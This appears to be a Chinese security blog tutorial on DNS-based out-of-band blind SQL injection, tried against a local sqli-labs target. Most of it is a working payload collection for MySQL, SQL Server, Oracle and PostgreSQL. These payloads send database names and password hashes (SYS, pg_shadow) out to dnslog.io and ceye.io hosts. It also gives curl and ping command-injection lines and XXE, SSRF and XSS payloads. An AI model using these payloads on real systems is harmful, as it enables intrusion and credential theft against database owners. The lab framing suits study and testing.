0%

DNSLOG快速盲注

有时候盲注太浪费时间了,但是我们可以将盲注变为显错注入呢?

0x01 部署环境

  • Web服务器(PHPStudy+Sqli靶场)
  • 随便一台服务器

如果是自己搭建DNSLOG的话,则多需要一台VPS,还有需要一个域名。

使用要求

  • 能够使用load_file函数。
  • Windows服务器
  • allow_url_fopen (默认开启)

secure_file_priv似乎能为NULL?在mysql 5.4.5中测试即使是NULL也使用dnslog注入。所以使用条件应该是能够利用load_file函数?

0x02 原理说明

UNC路径(Universal Naming Convention)通用命名规则。

通用命名规则UNC (Universal Naming Convention) ,也叫通用命名规范、通用命名约定,指用一种通用语法来描述网络资源(如共享文件,目录或打印机)的位置。(百度解释)
Windows的UNC路径格式为:\\servername\sharename,平时也会用到这个来访问一些共享服务。linux主机不存在这个规范,所以Linux服务器无法实现这个mysql-dnslog快速盲注。

所以Mysql的dnslog注入的原理就是:攻击者利用windows unc路径使数据库将注入语句的结果带出到dns服务器中。(个人理解)

0x03 利用

核心语句:

1
2
3
4
select load_file(concat('\\\\',hex((select database())),'.pycd4.l.dnslog.io\\abv'));
' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 4,1),'.XXX.ceye.io\\abc'))),1,1) --+
' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.XXX.ceye.io\\abc')) --+
' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.XXX.dnslog.link\\abc')) --+

这里\\\\四个斜杠的意思其实是\\。因为在mysql中不会存储有功能意义的反斜杠,所以要转义\\,这就是为什么会有\\\\的原因。

Windows访问\\pycd4.l.dnslog.io\abc(改成你自己的域名)

如果成功的话,dnslong中则会出现。

1
http://192.168.40.145/sql/Less-9/?id=1' and if((select load_file(concat('\\\\',(select schema_name from information_schema.schemata limit 4,1),'.lwy2.l.dnslog.io\\abv'))),1,0) And '1'='1

成功将数据库名字外带出来

直接查表名字

1
http://192.168.40.145/sql/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.lwy2.l.dnslog.io\\abc')) --+

0x04 Payload

除了能利用在mysql注入中,我感觉能用在一切能对dns服务器进行请求,并且无回显的地方。
以下payload均来自DNSlog注入利用手册

SQLServer

1
DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.8dmer4.ceye.io';EXEC('master..xp_dirtree "\\'[email protected]+'\foobar$"');
1
';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.8dmer4.ceye.io';EXEC('master..xp_dirtree "\\'[email protected]+'\foobar$"')--

Orcale

1
2
3
4
5
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

PostgreSQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

命令执行-Linux

1
2
curl http://ip.port.b182oj.ceye.io/`whoami`
ping -c 1 `whoami`.ip.port.b182oj.ceye.io

命令执行-Windows

1
ping %USERNAME%.b182oj.ceye.io

SSRF

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>

XSS

1
><img src=http://xss.xxxx.ceye.io/aaa>

XXE

1
2
3
4
5
?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>

还有其他的payload,请去原文查看~

0x05 参考文章